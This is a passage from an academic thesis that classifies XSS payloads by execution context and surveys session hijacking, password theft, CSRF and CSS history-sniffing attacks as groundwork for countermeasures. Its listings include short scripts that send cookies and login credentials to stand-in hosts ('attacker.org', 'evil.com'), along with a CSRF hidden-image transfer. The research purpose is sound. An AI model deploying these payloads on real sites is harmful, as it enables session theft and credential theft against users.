A.1 All properties of the hosting web application [60]

Attack-capabilities: In respect to the specified attack-target we identified the fol-

lowing attack-capabilities (organised according to the corresponding attack-type):

• Confidentiality:
– A.1.c.1: Leaking of session data (see [148] and Sec. 4.1.1)
– A.1.c.2: Leaking of password data (see [105] and Sec. 4.2)
– A.1.c.3: Leaking of other sensitive values obtained from the application’s
web pages (see [261])
• State:
– A.1.s.1: Session hijacking (see [123] and Sec. 4.1)

For a graphical representation of this subtree of the classification please refer to

Appendix A.1.

(B) Browser-context: The script is executed in a specific, currently running browser in-
stance. While the script is executed, the user might concurrently maintain further
state-full relationships with other web applications which are accessed with the

56
 3.4. Systematic overview of JSDAs / XSS Payloads

same browser instance. Such state-full relationships could be, for instance, current
active usage sessions or valid authentication contexts. All cross-domain interaction
of the script with these applications are executed in the user’s state-full execution
context.
Furthermore, the browser itself also is a state-full entity defined by its static and
dynamic properties. Static browser properties are, for instance, vendor, version,
or installed plug-ins. With dynamic browser proprieties we denote all attributes
and value sets that change during a given usage session, such as browser cache
or history. Depending on the specifics of a given property, a malicious script
may read or alter it. The adversary’s actual capabilities in respect to the listed
properties depend heavily on the type and version of the used browser program.
In this context, the adversary can attempt to employ pseudo URL schemes (see
Sec. 1.1.2) which by definition only target browser-internal resources.

Attack-targets: In the browser-context the following attack-targets exist:

B.1 State-full web applications reachable through the schemes http and https
[70, 23, 180, 86, 37, 207, 27, 234]
B.2 Dynamic browser properties reachable through the schemes http and https
[41, 87, 161]
B.3 Static browser properties reachable through pseudo schemes, such as chrome,
resource, or res [96, 179, 265]

Attack-capabilities: In respect to the specified attack-targets we identified the

following attack-capabilities:

• Confidentiality:
– B.1.c.1: Leaking application-state (see [86, 37], and Sec. 5.2.3)
– B.2.c.1: CSS-based privacy attacks (see [41, 87, 161] and Sec. 5.2.1)
– B.2.c.2: Timing-based privacy attacks (see [70, 23, 180] and Sec. 5.2.2)
– B.3.c.1: Browser fingerprinting (see [96, 179, 265] and Sec. 5.2.3)
• State:
– B.1.s.1: Cross-Site Request Forgery attacks (see [207, 27, 15, 137, 234,
133] and Sec. 5.1)

For a graphical representation of this subtree of the classification please refer to

Appendix A.2.

57
3. Exploiting XSS Issues

Note: In the browser-context, we explicitly limit the attack methods to capabil-

ities which are granted to JavaScript on the application level. Thus, we exclude
low level vulnerabilities that reside within the browser binary, such as Buffer Over-
flow issues [215]. Such general vulnerabilities are independent from the application
type and, therefore, not limited to web applications. Thus, applicable countermea-
sures have to be chosen from the existing set of general mitigation strategies (e.g.,
[45, 226, 64, 282, 281, 47, 38, 14, 46]).
However, we recognise a script’s capability to exploit such a vulnerability on an
browser-external entity (e.g., by creating a malicious HTTP request) as one of
the script’s attack tools, as long as this exploitation capability stands in direct
relationship with the respective attack’s execution-context (see below).

(C) Computer-context: The browser instance which hosts the malicious script is ex-
ecuted on a given computer. For this reason, the malicious script may interact
with resources, such as files, applications, and local network services, which are
only accessible on this computer. Specifically, local HTTP servers, which pro-
vide interfaces to local services [92] or applications [32] are potential targets. In
this execution-context, the effects of custom URL schemes (see Sec. 1.1.2) are
subsumed, as such schemes serve the purpose to implement the interaction with
browser-external, locally installed applications.

Attack-targets: In the computer-context the following attack-targets exist:

C.1 Computer local HTTP server reachable through the URL schemes http and
https [32, 92]
C.2 Local ASCII based network services reachable through the URL schemes http
and ftp [256, 5, 4]
C.3 The computer’s filesystem reachable through the URL scheme file [238, 108,
78]
C.4 Installed applications reachable through custom URL schemes, such as picassa
[179, 220, 171]

Attack-capabilities: In respect to the specified attack-targets we identified the

following attack-capabilities:

• Confidentiality:
– C.{1,2,3}.c.1: Computer fingerprinting (see [238, 264] and Sec. 5.2.3)
– C.1.c.2: Leaking the content of local HTTP servers via DNS rebinding
(see [124, 90, 29] and Sec. 6.2)
• State:
– C.{1,2}.s.1: Exploiting low-level issues by accessing vulnerable, local
servers [92]

58
 3.4. Systematic overview of JSDAs / XSS Payloads

– C.1.s.2: Exploiting further XSS problems in local HTTP servers to do

a Cross-Zone Scripting attack [186, 31] or to expand attack-capabilities
into the application context
– C.3.s.1: Exploiting DOM-based XSS problems in local HTML files to do
a Cross-Zone Scripting attack [108, 78]
– C.4.s.1: Initiating attacks by launching further applications [179, 220]

For a graphical representation of this subtree of the classification please refer to

Appendix A.3.

(D) Intranet-context: The victimized web browser is in most cases located within an
intranet which is shielded from the outer internet by network devices like fire-
walls. Therefore, the adversary may use the browser’s cross-domain networking
capabilities to access internal hosts which are otherwise inaccessible to him.
Furthermore, we include into this context all network locations which are not
part of the victimized computer’s intranet but derive access rights based on the
requesting IP address.

Attack-targets: In the intranet-context the following attack-targets exist:

D.1 HTTP servers located in the intranet reachable through the URL schemes
http and https [160]
D.2 ASCII based intranet services reachable through the URL schemes http and
ftp [256, 5, 4]
D.3 Network hosts located in the intranet reachable through various URL schemes
(e.g., http and https) [160, 91]

Attack-capabilities: In respect to the specified attack-targets we identified the

following attack-capabilities:

• Confidentiality:
– D.{1,2,3}.c.1: Enumerating and fingerprinting existing intranet hosts and
services (see [160, 91] and Sec. 6.1.2)
– D.1.c.2: Leaking the content of intranet HTTP servers via DNS rebinding
(see [124, 90, 29] and Sec. 6.2)
• State:
– D.1.s.1: Exploiting further XSS problems in intranet HTTP servers to
escalate attack-capabilities into the application context [90]
– D.1.s.2: Exploiting low-level issues by accessing vulnerable, local servers [92]
– D.2.s.1: Exploiting low-level issues in vulnerable, ASCII-based intranet
network services [4]

59
3. Exploiting XSS Issues

For a graphical representation of this subtree of the classification please refer to

Appendix A.4.

(E) Internet-context: Finally, the malicious script may use its cross-domain abilities to
access arbitrary hosts and services on the public internet. This context contains all
internet hosts and services for which the browser does not maintain any state-full
relationship (such attack-targets are already contained in the browser-context).
Per se, using the compromised browser for the attacks listed in this context does
not provide the attacker with expanded capabilities as all attack-targets are al-
ready accessibly to him. However, the adversary may use the victimized browser
as an attack proxy, hence, effectively hiding his own network location. Further-
more, in scenarios where the malicious JavaScript is executed by many independent
browsers simultaneously, for example as part of an XSS worm’s payload, the ad-
versary might gain botnet like power [162, 89].

Attack-targets: In the internet-context the following attack-targets exist:

E.1 HTTP servers located in the internet reachable through the URL schemes
http and https [89, 162, 106]
E.2 ASCII based internet services reachable through the URL schemes http and
ftp [256, 5, 4]
E.3 Public network hosts reachable through various URL schemes (e.g., http and
https) [162, 106]

Attack-capabilities: In respect to the specified attack-targets the following attack-

capabilities have been documented:

• Confidentiality:
– E.{1,2,3}.c.1: Vulnerability scans of internet hosts (see [162, 106], Sec. 6.3.1,
and Sec. 6.3.2)
• State:
– E.1.s.1: Exploiting low-level issues by accessing vulnerable HTTP servers [92]
– E.1.s.2: Committing click-fraud (see [113] and Sec. 6.3.3)
– E.2.s.1: Exploiting low-level issues in vulnerable, ASCII-based internet
network services [4]

For a graphical representation of this subtree of the classification please refer to

Appendix A.5.

60
 3.5. Thesis scope: Countering XSS Payloads

3.5. Thesis scope: Countering XSS Payloads

There are two general defensive strategies in respect to XSS Payloads:

1. Preventing XSS conditions by removing the fundamental vulnerabili-

ties within the web applications: As long as no XSS vulnerability is at hand,
the attacker is unable to inject malicious JavaScript into trusted contexts. Con-
sequently, in such a situation, the targeted victim can effectively protect himself
using the existing countermeasures (as outlined in Section 3.1.2).
However, although since the occurrence of the first large XSS worm [140] in 2005,
XSS has received a considerable amount of attention, established internet compa-
nies, such as Google or Yahoo, still expose XSS vulnerabilities in 2008 [72]. This
provides strong indications that the currently utilized approaches, frameworks, and
technologies within web application development are not suited for reliable XSS
avoidance. Hence, it is of significance to investigate novel methods to prevent XSS
vulnerabilities within web applications which established the existing approaches of
secure programming. We will discuss our contributions in respect to this approach
in Part III of this thesis.

2. Countering the exploitation of the vulnerability by countering the pay-

load’s actions: For the time being, XSS is a widespread phenomena [39]. As
mentioned above, it is very probable that in the near future XSS will not be re-
solved by the current practices. Furthermore, as discussed in Section 2.1 XSS
conditions can also be introduced by insecure infrastructure, such as vulnerable
web servers or browsers. In such cases even completely secure web application
may be susceptible to XSS attacks. For these reasons, it is valid to assume that
XSS conditions will continue to exist in the coming years.
Given the assumption that a state of sufficient XSS prevention will not be reached
in a tolerable time-frame, it follows that meanwhile a web application’s user is in
risk of involuntary execution of adversary controlled script code. For this reason, a
second line of defense is necessary which is effective even when the attacker is able
to execute code in the browser. However, a general decision whether the actions
of a given script are malicious is undecidable [219]. Therefore, such defensive
approaches are necessarily always of limited scope and specific to a defined payload
type. More precisely, countermeasures of this class are designed to counter specific
exploits by restricting a script’s capabilities.
In Part II we will present our approaches which follow this direction.

These two general approaches closely mirror the strategies that were utilized in respect
to memory corruption vulnerabilities: For one, approaches to find such problems (e.g.,
[260, 239, 56, 35, 12]) and to secure the C programming language (e.g., [196, 120, 166])
were proposed, in order to secure applications fundamentally. In parallel, researchers
designed methods to counter the exploitation of vulnerabilities, in order to provide pro-
tection in case of an existing issue (e.g., [45, 226, 64, 282, 281, 47, 38, 14, 46]).

61
3. Exploiting XSS Issues

62
4. XSS Payloads: Application Context
In this chapter we discuss notable, previously disclosed XSS Payloads which are located
within the application execution-context. Such attacks directly target the web applica-
tion in which they have been injected through the XSS exploit. Therefore, the malicious
script is not restricted by the SOP and has full control over all client-side features of the
application that are exposed to running JavaScript. This chapter focuses on two attack
classes which directly target the web application’s authentication mechanisms. Section
4.1 discusses the adversaries capabilities to overtake the user’s authenticated session for
impersonation purposes. Section 4.2 documents methods which allow the attacker to
obtain the user’s password in clear-text for future use.

4.1. Session hijacking

Session hijacking payloads take effect directly within the web application into which they
were injected by the XSS exploit. Therefore, the adversary possesses the same control
over the application as the attacked user. By creating HTTP requests to the exploited
application, the attacker is able to execute actions on the application using the victim’s
current authentication state. Furthermore, as the injected script is not restricted by the
SOP, the respective HTTP responses can be read and evaluated by the script to find
out whether the targeted action was successful, gain further knowledge, and prepare the
content of further HTTP requests.
Accordingly, we define the class of session hijacking attacks as follows:

Definition 4.1 (Session hijacking) With the term session hijacking we denote all
JSDAs that enable the adversary to commit arbitrary state-changing actions within the
attacked web application in the victim’s authentication context.

From the application’s point of view, all actions by the adversary executed through a
session hijacking attack are indistinguishable from legitimate actions by the attack’s
victim (i.e., by the authenticated user which accesses the exploited application). Thus,
a session hijacking attack empowers the attacker to temporary overtake the victim’s
identity in respect to the exploited application. Session hijacking attacks may either
require real-time interaction by the adversary, or be fully pre-scripted for automatic
execution. The latter case is, for instance, used by XSS worms [168].
All currently known XSS session hijacking attack methods can be assigned to one of
the following different classes: “Session ID theft”, “browser hijacking” and “background
XSS propagation”. In the following sections we define and discuss each of these attack
classes.

63
4. XSS Payloads: Application Context

Web Server

Web Browser Attacker

Website
<html><body>
.... SID

SID
XSS

Figure 4.1.: SID Theft [274]

4.1.1. Session ID theft

As described in Section 1.2, web applications commonly employ a session identifier (SID)
to track the authenticated state of an user. Every request that contains this SID is
regarded as belonging to the authenticated user. By reading the SID value via JavaScript
and communicating it to an attacker-controlled location by creating a cross-domain
HTTP request (see Figure 4.1 and Listing 4.1), the adversary is able to obtain this
authentication credential. From this point on, the stolen SID can be used to create
further requests. As long as the SID is valid, the attacker is now able to impersonate
the attacked client [151].
1 < script >
2 document . write (" < img height =0 width =0 src = ’ http :// attacker . org ? SID = ’"
3 + document . cookie + " ’ >");
4 </ script >

Listing 4.1: Simple SID theft attack

It does not matter which of the methods described in Section 1.2 of SID storage is
used by the application - in all these cases the attacking script is able to obtain the SID.
However, if the application implements non-SID-based authentication tracking mech-
anisms, such as HTTP authentication or client-side SSL, this attack fails, as in this cases
the SID alone is not sufficient. Also, a subset of modern web browsers provide “http-
only” cookies which allow SID storage which is not accessible by JavaScript [193]. In
such cases the adversary is forced to create the full hijacking attack within the victim’s
browser. See Sections 4.1.2 and 4.1.3 for details.

4.1.2. Browser hijacking

This method of session hijacking does not require the communication of the SID over the
internet. The whole attack takes place in the victim’s browser. Modern web browsers
provide the XMLHttpRequest object, which can be used to place GET and POST re-
quests to URLs, that satisfy the Same Origin Policy. Instead of transferring the SID
or other authentication credentials to the attacker, the “browser hijacking” attack uses
this ability to place a series of HTTP requests to the web application. The application’s
server cannot differentiate between regular, user initiated requests and the requests that

64
 4.1. Session hijacking

Web Server

XMLHttpRequest
Web Browser Attacker
Website
<html><body>
.... SID

XSS

Figure 4.2.: Browser Hijacking [274]

are placed by the script. Thus, the malicious script is capable of acting under the identity
of the user and commit arbitrary actions on the web application.
In 2005 the so called “Samy is my hero” worm employed this technique to create a
self replicating JavaScript worm that infected approximately one million profiles on the
website myspace.com [140] (see also Section 2.1.1).
Please note: This attack does not depend on the availability of the XMLHttpRequest
object. It can also be executed using hidden iframes [163].

4.1.3. Background XSS propagation

Usually not all pages of a web application are vulnerable to XSS. For the attacks de-
scribed above, it is sufficient that the user visits only one vulnerable page in which a
malicious script has been inserted. However, other attack scenarios require the existence
of a JavaScript on a certain webpage to work. For example, even when credit card
information has been submitted it is seldom displayed in the web browser. In order to
steal this information a malicious script would have to access the HTML form that is
used to enter it. Let us assume the following scenario: Webpage A of the application
is vulnerable against XSS whereas webpage B is not. Furthermore, webpage B is the
page containing the credit card entry form. To steal the credit card information, the
attacker would have to propagate the XSS attack from page A to page B. There are two
techniques that allow this attack:

Propagation via iframe inclusion

In this case, the XSS replaces the displayed page with an iframe that takes over the
whole browser window. Furthermore, the attacking script causes the iframe to display
the attacked webpage, thus creating the impression that nothing has happened. From
now on every user navigation is done inside the iframe. While the user keeps on using
the application, the attacking script is still active in the document that contains the
iframe. As long as the user does not leave the application’s domain, the malicious script
is able to monitor the user’s surfing and to include further scripts in the webpages that

65
4. XSS Payloads: Application Context

Attacker
Web Server

Web Browser
main window
control
Script

pop under
window
Website C

Website B

Website A
<html><body>
....
create
XSS

Figure 4.3.: Background XSS Propagation [274]

are displayed inside the iframe. A related attack is described in [216].

A detailed description of this attack can be found in [216]. A webpage is able to deter-
mine if it is included in an iframe or a frameset by examining its DOM tree: window.top
is a link to the root node in the tree. The properties of this node can be used to check
whether an iframe inclusion took place.

Propagation via pop under windows

A second way of XSS propagation can be implemented using “pop under” windows. The
term “pop under” window denotes the method of opening a second browser window that
immediately sends itself to the background. On sufficiently fast computers users often
fail to notice the opening of such an unwanted window. The attacking script opens such
a window and inserts script code in the new window’s body. The new window has a link
to the DOM tree of the original document (the father window) via the window.opener
property. This link stays valid as long as the domain property of the father window
does not change, even after the user resumes navigating through the web application.
Therefore, the script that was included in the new window is able to monitor the user’s
behavior and include arbitrary scripts in web pages of the applications that are visited
during the user’s session.
Unlike the method using iframes, this technique is not detectable by the attacked
document. While child windows possess the window.opener property, there exists no
way for father windows to check the existence of any children.
Whereas this attack technique is per se not exactly a session hijacking attack, its
potential impact is equivalent to the attacks described in 4.1.1 and 4.1.2.

4.2. Password theft

Instead of trying to hijack a potentially short-lived authenticated session, as described
in Section 4.1, the adversary could also aim to obtain a more sustainable authentication
credential: The user’s password. As users often reuse the same password for multiple
sites [83], passwords are an attractive target even on web applications which otherwise

66
 4.2. Password theft

do not exhibit characteristics that would make them a potential attack target (such
as sensitive date, or financial information). This section discusses several documented
methods which can be used as part of an application-context XSS payload.
Note: In the remainder of this section we assume that HTML forms are used to
communicate the user’s password to the application (a practise which is used by the
majority of all current web applications).

4.2.1. Manipulating the application’s authentication dialogue

In the case that the adversary is able to inject a malicious script into the page which
displays the original authentication dialogue (i.e., the web page that contains the HTML
form in which the username and password are initially entered), the attacker has several
options to obtain the user’s password in clear text.

Reading the password with JavaScript

From a technical point of view, the HTML password field is nothing else but an ordinary
text input field which does not echo the entered characters back to the screen. The
entered values are kept in clear-text and can be read by JavaScript via the page’s DOM
tree. Therefore, if an adversary is able to insert a JavaScript into the login-page, this
script can intercept the form submission (using an onsubmit-eventhandler) in order to
read the password before it is submitted [232, 105] (see Listing 4.2).
1 < script >
2 function leakData (){
3
4 var data = document . ge tEl em en tBy Id ( ’ username ’). value +
5 ’: ’ + document . get El em ent By Id ( ’ password ’). value ;
6 var url = ’ http :// attacker . org / log ? data = ’ + escape ( data );
7 var img = document . createElement ( ’ img ’);
8 img . setAttribute ( ’ src ’ , url );
9 img . style . height = ’0 ’;
10 img . style . width = ’0 ’;
11 document . g e t E l e m e n t s B y T a g N a m e ( ’ body ’)[0]. appendChild ( img );
12
13 /*
14 ** Delay the submit () for so that the leaking HTTP request succeeds reliably
15 */
16 window . setTimeout ( function (){
17 document . g et Ele me nt By Id ( ’ loginform ’). submit ();
18 } , 100);
19
20 return false ;
21 }
22
23 document . g et El eme nt By Id ( ’ loginform ’). onsubmit = leakData ;
24 </ script >

Listing 4.2: Direct form-based password leakage [105]

To avoid the submission-delay introduced by the technique documented in Listing 4.2

the adversary can alternatively create a page-specific keyboard logger using JavaScript’s
onkeydown-events [228].

67
4. XSS Payloads: Application Context

Rerouting the authentication request

Instead of retrieving the password via JavaScript methods as discussed above, the ad-
versary could alternatively create a man-in-the-middle situation by altering the tar-
get address of the authentication form [105]. To do so, only the action-value of the
respective form-tag has to be changed to an attacker-controlled location (e.g., http:
//attacker.org/logpasswd.cgi). When the victim submits the authentication from,
the resulting HTTP request, containing the authentication information in clear-text, is
sent to this manipulated URL. After logging the data, the attacker is able to redirect
the browser back to the original target of the authentication form using a 30x HTTP
response. On sufficient fast connections, this redirection step is fast enough to happen
unnoticed by the user.
In situations where the original authentication form was delivered using SSL via an
https-URL, some browsers display a warning that the secure connection is left. However,
[230] indicates that users are quick to dismiss such a warning.

4.2.2. Abusing the browser’s password manager

Modern web browser provide so-called password manager-functionality. Based on prior
usage of an HTML form for authentication purposes, the browser offers to “remember”
the password for future usage. Whenever the user accesses a web page for which the
password manager keeps stored credentials, the browser automatically fills the page’s
authentication form with the user’s username and password.
This behaviour can be exploited by an XSS Payload [155]. The following attack
technique is applicable in every case, where an XSS issue is exploited in a web application
for which the browser’s password manager maintains a password. First the attacker
transfers his malicious payload on the authentication page, using a technique similar to
the background XSS propagation method documented in Section 4.1.3. This is achieved
by creating a hidden Iframe in which the site’s authentication page is loaded. After this
loading process has finished, the browser’s password manager fills in the attacked user’s
credentials automatically. Furthermore, also after the loading process has terminated
(e.g., indicated by an onload-event), the malicious script propagates itself into the hidden
Iframe (see Sec. 4.1.3). As discussed in Section 4.2.1, the HTML password field is
readable via JavaScript. Therefore, the XSS Payload is able to read the password which
has been filled in by the browser without the user’s consent.

4.2.3. Spoofing of authentication forms

Finally, instead of abusing the site’s original authentication form, the attacker could
simply create one himself. By using DOM tree manipulation while the page is rendered,
the attacker is able to inject his spoofed HTML form seamlessly into the web page. Then
by using a spoofed message, communicating for instance that due to technical problems
a reauthentication is necessary, the user is tricked into reentering his credentials. Several
techniques to spoof authentication forms are discussed in [105].

68
 4.2. Password theft

Phishing [52, 159, 197, 276] is a related threat which aims to obtain passwords from
users by spoofing the complete user interface of the targeted web application. Phishing
is a class of attacks which is independent from JSDAs and XSS, and therefore, out of
the scope of this thesis.

69
4. XSS Payloads: Application Context

70
5. XSS Payloads: Browser and Computer
Context
This chapter discusses notable, previously disclosed XSS Payloads which are located
within the browser and computer execution-context.
We discuss these two execution-contexts (browser and computer) jointly in one chapter
because most of the applicable attacks in these contexts share an important character-
istic: They allow targeted attacks which aim at one specific user. A given browser runs
on one specific computer and is used by one specific user. Thus, both the mappings,
user-to-computer and user-to-browser, are static (i.e., a given browser/computer is only
used by one specific person). Especially, the privacy attacks discussed in Section 5.2
are closely related in both execution-contexts. Opposed to this, the attacks discussed
in Chapter 4 are more narrowly focused on one specific application, while the attacks
discussed in Chapter 6 target whole network segments.

5.1. Cross-Site Request Forgery

Cross-Site Request Forgery (CSRF) is a type of JSDA within the browser execution-
context which exploits a common flaw in the authentication tracking mechanism of web
applications. By creating a state-changing, cross-domain request (see Sec. 3.3.2) to a
web application for which the user holds a valid authentication context, the attacker is
able to cause actions under the victim’s identity (see below for specific details on this
class of attacks and refer to Section 5.1.1 for an example).
Thus, in order for the attack to be effective, three circumstances have to coincide:
The victim’s browser has to currently maintain a state-full, authenticated relationship
with the targeted web application, the CSRF attack is executed in this browser (i.e.,
as a XSS Payload), and the targeted application has no defense against CSRF attacks
implemented.

5.1.1. Attack specification

As in Section 1.3.2 discussed, JavaScript can employ indirect communication methods
to create HTTP requests to cross-domain hosts. This is done by dynamically including
an HTML element into the DOM tree which references a remote object, like an image,
script or iframe. Such an inclusion causes the web browser’s rendering engine to create an
HTTP request to retrieve the referenced entity. The URL of such HTML elements is not
restricted by the SOP. Therefore, a script can initiate requests to arbitrary cross-domain
URLs.

71
5. XSS Payloads: Browser and Computer Context

Furthermore, besides the creation of such cross-domain request a script also can obtain
certain information concerning the outcome of this action using the BRA-technique (see
Sec. 3.3.3 for details).
As motivated above, Cross-Site Request Forgery (CSRF / XSRF) [27, 68] a.k.a. Ses-
sion Riding [234, 133] a.k.a Sea Surf [207] is a client-side attack on web applications
that uses indirect communication to exploit browser-level authentication tracking mech-
anisms (see Sec. 1.2.1). More precisely, CSRF uses the cross-domain, cross-application
and cross-protocol capabilities provided by indirect communication to trigger authenti-
cated, state-changing actions on the attacked web application.
The actual attack is executed by causing the victim’s web browser to create HTTP
requests to restricted resources. As introduced above, this can be achieved e.g., by
including hidden images in harmless appearing webpages. The image itself references a
state changing URL of a remote web application.
As the targeted web application employs an browser-level authentication tracking
mechanism, the browser provides such requests with authentication information auto-
matically without any user interaction. Therefore, the target of the request is accessed
with the privileges of the person that is currently using the attacked browser. See [234],
[27], [133] and [68] for further details.

Example: A (rather careless) site for online banking provides an HTML form to place
credit transfers. This form uses the GET method and has the action URL http://bank.
com/transfer.ext. The form is only accessible by properly authenticated users, employ-
ing one of the techniques described above. If an attacker is able to trick a victim’s browser
to request the URL http://bank.com/transfer.cgi?amount=10&an=007, while the
victim’s browser maintains an authenticated state for the banking site, the owner of the
account with the number 007 might gain e 10. To execute the attack the attacker manu-
factures a harmless appearing webpage. In this webpage the attacker includes HTML or
Javascript elements, that cause the victims web browser to request the malicious URL.
This can be done for example with a hidden image:
1 < img src =" http :// bank . com / transfer . cgi ? amount =10& an =007" >

If the attacker successfully lures the victim to visit the malicious website, the attack can
succeed (see Figure 5.1).

5.1.2. Attack surface

All access control methods described in Section 1.2.1 are vulnerable against CSRF as
long as no specific, application-level countermeasures against this attack method have
been implemented by the web application (see Sec. 8.2.2 for details on application-level
defense techniques).
CSRF attacks are not necessarily limited to submitting a single fraudulent request.
Workflows that require a series of http requests (i.e. web forms that span over more
than one webpage) might be vulnerable as well, as long as certain conditions are fulfilled:
The content and identifiers of every step of the workflow’s web forms are known prior

72
 5.1. Cross-Site Request Forgery
XSRF / Session Riding (II)

www.bank.com www.attacker.org

GET transfer.cgi?am=10000&an=3422421

Cookie: auth_ok

! Martin Johns, UH, FB Inf, SVS, 2006 14

Figure 5.1.: A CSRF attack on an online banking site

to the attack and the workflow does not employ a separate mechanism to track the
workflow’s progress (i.e. a request ID) but uses the implicitly communicated session
identifier. If these conditions are satisfied an attacker can create in most cases a series of
hidden iframes that host malicious web forms. These forms are automatically submitted
sequentially via JavaScript using the iframe’s onload-events, thus simulating a user that
fills in the forms in their proper order.

Reasons for the existence of CSRF vulnerabilities

In today’s web applications CSRF problems can be found frequently. There are several
reasons for this. Primarily, CSRF is rather obscure. While in many cases the conse-
quences of CSRF attacks can be severe, web application developers are often unaware
or dismissive when it comes to this vulnerability class. Also textbooks on web program-
ming often do not cover this vulnerability class and often contain example code which
is susceptible to CSRF. Furthermore, most web application frameworks lack a central
mechanism for protection against CSRF. In addition, automatic approaches like “taint
checker” [109] for detecting SQL Injection problems do not exist for CSRF.

5.1.3. Notable real-world CSRF exploits

The particulars of CSRF attacks are always very specific in respect to the vulnerable
application. To exemplify and establish the capabilities of such attacks we list selected
real world vulnerabilities in this section. In addition, Zeller and Felten documented four
further real-world CSRF issues in [286].

Digg.com: Undermining trust in social applications

The content-selection mechanism of the online news-site digg.com is steered by the site’s
own user base. All enrolled users are allowed to vote which stories they consider to be
most interesting. The more votes a story gets, the higher the story is placed in the site’s
content organisation.
The site’s story-voting mechanism was vulnerable to CSRF. If a logged in digg.com-
user visited a specially crafted website, this site was able to create voting request for

73
5. XSS Payloads: Browser and Computer Context

arbitrary digg.com-stories in the name of the attacked user. This was discovered by an
anonymous person [54] who calls himself “Digger”. “Digger” created a web-page which
contained an introduction to CSRF. Furthermore, the web-page also contained a small
JavaScript which exploited the digg.com-CSRF vulnerability. This script voted for a
story submitted by “Digger” which contained a back-link to the exploit-page.
Every digg.com user that read the story and followed the link to “Digger”’s page
involuntarily voted for the story, thus, promoting it further up in the digg.com hierarchy,
which in turn generated more interest and visits by digg.com users. The story reached
digg.com’s frontpage within a day.

Netflix

Netflix (http://www.netflix.com/) is a US based web site which offers web-based DVD

rentals. Users of the service can rent DVDs online, which get shipped to the respective
renter by postal mail. In late 2006 [71] disclosed several serious CSRF vulnerabilities
of the service. In the case that a valid authentication context between the victimized
browser and the netflix.com-domain existed at the time of the CSRF attack, the
adversary could add movies to your rental queue, add a movie to the top of the attacked
user’s rental queue, change the name and address on the attacked account, and change
the email address and password on the account (i.e., take over the complete account).

Wordpress

Wordpress [177] is a blogging software written in PHP. The look and feel of a Wordpress
weblog is determined by the ”theme” of the blog. Such a theme itself consists of several
template files which in turn are either HTML- or PHP-files. To edit these templates
Wordpress provides an web interface.
Some versions of Wordpress were susceptible to CSRF targeting the software’s theme-
editor [126] allowing the adversary to alter the weblog’s template files. As Wordpress
themes may contain executable PHP code, using this attack the adversary was able
add arbitrary PHP code to the weblog’s theme. Consequently, this injected code was
executed every time the weblog was accessed. Hence, the vulnerability enabled the
adversary to execute arbitrary commands on the blog’s server with the privileges of the
web-server process.

5.2. Fingerprinting and privacy attacks

In this section we discuss various techniques within the browser and computer execution-
context that aim at collecting evidence concerning the malicious script’s local execution
environment. More precisely, the here discussed attacks aim to gather information on
the executing web browser, the local machine, and the browser’s user. Such information
include previously visited sites, indicators whether the user is currently logged into given
web applications, characteristics of the local machine, and installed web browser add-ons.

74
 5.2. Fingerprinting and privacy attacks

While in some cases such attacks are targeted directly at the user’s privacy, the ad-
versary might also use his findings to identify existing vulnerabilities in order to decide
on the next step in his attack.

5.2.1. Privacy attacks based on cascading style sheets

Two variations of privacy attacks have been documented which are based on sophisti-
cated usage of cascading style sheets (CSS [266]).

Browser history disclosure using unique background-picture URLs

In 2002 [41] showed how CSS can be employed to examine whether a given URL is
contained in the browser’s history of visited pages. The underlying mechanism, that is
the basis of the attack, dates back to the early days of web browsers: The color used by
the browser’s rendering engine to display a hyperlink varies, depending on if the user has
visited the referenced site before. This behaviour was adopted by CSS, resulting in the
hyperlink pseudo-class a:visited. Using this pseudo-class, visited links can be outfitted
with the complete set of CSS properties, including the capability to include remotely
hosted images to be used as background pattern. Thus, sophisticated construction of
lists of hyperlinks and an according style sheet can be employed to initiate indirect
communication of private data:
The attacker compiles a list of URLs that should be matched against the user’s his-
tory. For each of these URLs he creates a hyperlink labeled with a unique id-attribute.
Furthermore, she fabricates a style-sheet that contains unique visited-selectors which
are linked to the respective id-attributes. By referencing an attacker-controlled cgi-script
in the CSS-selectors the adversary is able to deduct which of the sites are contained in
the browser’s history (see Listing 5.1).
1 < style >
2 # ebay : visited { background : url ( http :// evil . com / visited . cgi ? site = ebay ); }
3 </ style >
4
5 <a id =" ebay " href =" http :// www . ebay . com " > </a >

Listing 5.1: CSS visited page disclosure [41]

Dynamic browser history disclosure with JavaScript

Furthermore, as discussed by [41] and refined by [87], it is also possible to accomplish
the same results completely on the client-side without requiring a remote counterpart:
JavaScript is able to read the applied CSS-style (using the getComputedStyle-method
on Mozilla based browsers or IE’s currentStyle-property): The attacker creates a CSS
style-sheet that defines two distinct styles for visited and unvisited hyperlinks. For each
tested hyperlink a JavaScript reads the style information that the browser applied to
the element. Depending on which of the two predefined styles is returned by the query,
the script can decide whether the user has visited the site in the recent past (see Listing
5.2).

75
 5. XSS Payloads: Browser and Computer Context

Usage of JavaScript to execute this attack provides several advantages for the adver-
sary: The malicious JavaScript can construct the list of hyperlinks dynamically. This
allows more targeted, incremental attacks. Furthermore, only a rather simple style-sheet
defining two separate styles is required. This eliminates the need for a list of unique se-
lectors, thus reducing the attack-code significantly.
1 < style >
2 a : visited { color : rgb (0 ,0 ,255) }
3 </ style >
4
5 <a id =" ebay " href =" http :// www . ebay . com " > </a >
6
7 < script >
8 var link = document . ge tEl em en tBy Id ( ’ ebay ’);
9 var color = document . defaultView . g e t C o m p u t e d S t y l e ( link , null )
10 . g e t P r o p e r t y V a l u e (" color ");
11 if ( color == " rgb (0 , 0 , 255)") {
12 // found
13 }
14 </ script >

Listing 5.2: CSS visited page disclosure using JavaScript [87]

Utilizing the flexibility provided by JavaScript based dynamic URL-construction, it

has been proposed to extend this technique to establish a list of terms that the user
has looked up using internet search engines. This undertaking requires examining large
numbers of URLs, as most search engines employ URL-schemes that contain numerous,
context dependent, and frequently changing parameters resulting in rather large sets
of possible URLs for non-trivial search terms. [161] has shown that it is possible to
stealthy check for more than 40.000 unique URLs in five seconds using recent hardware,
thus rendering this privacy attack feasible.

5.2.2. Privacy attacks through timing attacks

Besides CSS based attacks on the user’s privacy, a whole class of related timing attacks
has been discussed.

Browser cache disclosure

Felten et al. [70] documented in 2000 how attackers can initiate timing attacks to
determine if a given web browser has visited a certain web page in the recent past. For
this purpose, the adversary employs cacheable web-objects such as static images and
measures the time it takes to retrieve a given object.
For example the attacker wants to know whether the victim has been to http://
company.com recently. For this purpose, the malicious script stealthily embeds the logo
